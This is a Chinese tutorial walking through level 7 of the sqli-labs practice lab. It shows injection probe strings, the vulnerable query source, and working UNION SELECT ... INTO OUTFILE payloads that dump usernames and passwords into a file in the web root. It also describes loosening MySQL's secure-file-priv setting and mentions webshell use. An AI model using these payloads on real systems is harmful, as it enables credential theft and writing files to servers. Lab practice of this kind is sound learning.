sqli-labs基础篇【第七关】详细解析

Ⅰ 验证是否注入点

  从下面的注入测试来看,只有两种输出结果
  如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax”

?id=1 --+   --You are in.... Use outfile......
?id=1' --+  -- You have an error in your SQL syntax
?id=-1' --+ --You have an error in your SQL syntax
?id=1\ --+  --You are in.... Use outfile......

查看是否存在双引号注入
正常输出,说明有执行,存在双引号注入

?id=1"  --+ -- You are in.... Use outfile......

查看是否存在闭合特殊符号

?id=1' and 1=1--+  -- 报错,sql没有执行,存在闭合
?id=1') and 1=1--+  --报错,还有一个闭合
?id=1')) and 1=1--+  -- 正常输出

推测注入点:双引号+两个闭合
image.png
image.png
看一下源码,确定是是双引号+单引号注入

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

构建个playload

?id=1')) --+ 

Ⅱ 爆出列数和回显位

常规注入,显示出列数和回显位

Ⅲ 注入开始

  根据提示,“You are in… Use outfile…”,可以使用文件上传漏洞,进行注入
注:也有用 一句话木马进行注入 ,在这里直接利用outfile,上传文件

(1)环境配置

  首先在进行文件上传漏洞注入前,先确定下自己的靶场环境,之前是使用线上的sqli-labs靶场,但是到了第七关就不好用了,因为我不知道线上靶场的web目录放在哪里,不好搞。
  所以用phpStudy+sqli-labs+linux,搭建了一个靶场,进行练习
正常情况下,phpStudy配置好,就可以运行sqli-labs
image.png

  但mysql注入的文件上传,需要有权限,需要在phpStudy上,对mysql进行设置,添加一个“secure-file-priv = ”,添加好了,就重启mysql
image.png

(2)注入格式

根据前面得出的可注入点,进行编写注入playload

index.php?id=-1')) union select 1,2,(XXXsql语句) 
									 into outfile  '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+

  • XXXSQL语句:用之前的常规sql注入语句替换即可
  • outfile:后面接的是,注入页面的文件路径,以及输入的文件名

举个例子:爆数据

index.php?id=-1')) 
				union select 
				database(),
				user(),
				(select concat_ws('~',id,username,password) 
				from security.users limit 0,1) 
				into outfile  '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+

image.png
image.png

你可能感兴趣的:(Web安全,mysql,安全)